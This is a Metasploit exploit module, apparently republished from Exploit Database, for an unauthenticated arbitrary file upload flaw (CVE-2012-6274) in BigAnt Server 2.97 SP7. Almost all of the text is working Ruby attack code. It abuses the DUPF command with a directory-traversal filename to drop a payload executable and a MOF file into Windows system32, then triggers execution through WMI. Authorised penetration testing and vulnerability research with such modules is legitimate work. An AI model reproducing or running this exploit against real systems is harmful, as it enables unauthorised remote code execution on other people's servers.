BigAnt Server 2.97 – DUPF Command Arbitrary File Upload (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2013-02-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/24528/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::EXE
  	include Msf::Exploit::WbemExec
  	include Msf::Exploit::FileDropper
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'BigAnt Server DUPF Command Arbitrary File Upload',
  			'Description'=> %q{
  					This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7.
  				A lack of authentication allows to make unauthenticated file uploads through a DUPF
  				command. Additionally the filename option in the same command can be used to launch
  				a directory traversal attack and achieve arbitrary file upload.
  
  				The module uses uses the Windows Management Instrumentation service to execute an
  				arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It
  				has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003
  				SP2.
  			},
  			'Author' =>
  				[
  					'Hamburgers Maccoy', # Vulnerability discovery
  					'juan vazquez' # Metasploit module
  				],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'CVE', '2012-6274' ],
  					[ 'US-CERT-VU', '990652' ],
  					[ 'BID', '57214' ],
  					[ 'OSVDB', '89342' ]
  				],
  			'Privileged' => true,
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'BigAnt Server 2.97 SP7', { } ]
  				],
  			'DefaultTarget' => 0,
  			'DefaultOptions'=>
  				{
  					'WfsDelay' => 10
  				},
  			'DisclosureDate' => 'Jan 09 2013'))
  
  		register_options(
  			[
  				Opt::RPORT(6661),
  				OptInt.new('DEPTH', [true, "Levels to reach base directory", 6])
  			], self.class)
  
  	end
  
  	def upload_file(filename, content)
  
  		random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"
  
  		dupf = "DUPF 16\n"
  		dupf << "cmdid: 1\n"
  		dupf << "content-length: #{content.length}\n"
  		dupf << "content-type: Appliction/Download\n"
  		dupf << "filename: #{"\\.." * datastore['DEPTH']}\\#{filename}\n"
  		dupf << "modified: #{random_date}\n"
  		dupf << "pclassid: 102\n"
  		dupf << "pobjid: 1\n"
  		dupf << "rootid: 1\n"
  		dupf << "sendcheck: 1\n\n"
  		dupf << content
  
  		print_status("sending DUPF")
  		connect
  		sock.put(dupf)
  		res = sock.get_once
  		disconnect
  		return res
  
  	end
  
  	def exploit
  
  		peer = "#{rhost}:#{rport}"
  
  		# Setup the necessary files to do the wbemexec trick
  		exe_name = rand_text_alpha(rand(10)+5) + '.exe'
  		exe= generate_payload_exe
  		mof_name = rand_text_alpha(rand(10)+5) + '.mof'
  		mof= generate_mof(mof_name, exe_name)
  
  		print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}")
  		res = upload_file("WINDOWS\\system32\\#{exe_name}", exe)
  		if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
  			print_good("#{peer} - #{exe_name} uploaded successfully")
  		else
  			if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
  				print_error("#{peer} - Upload failed, check the DEPTH option")
  			end
  			fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}")
  		end
  
  		print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}")
  		res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
  		if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
  			print_good("#{peer} - #{mof_name} uploaded successfully")
  			register_file_for_cleanup(exe_name)
  			register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
  		else
  			if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
  				print_error("#{peer} - Upload failed, check the DEPTH option")
  			end
  			fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}")
  		end
  
  	end
  
  end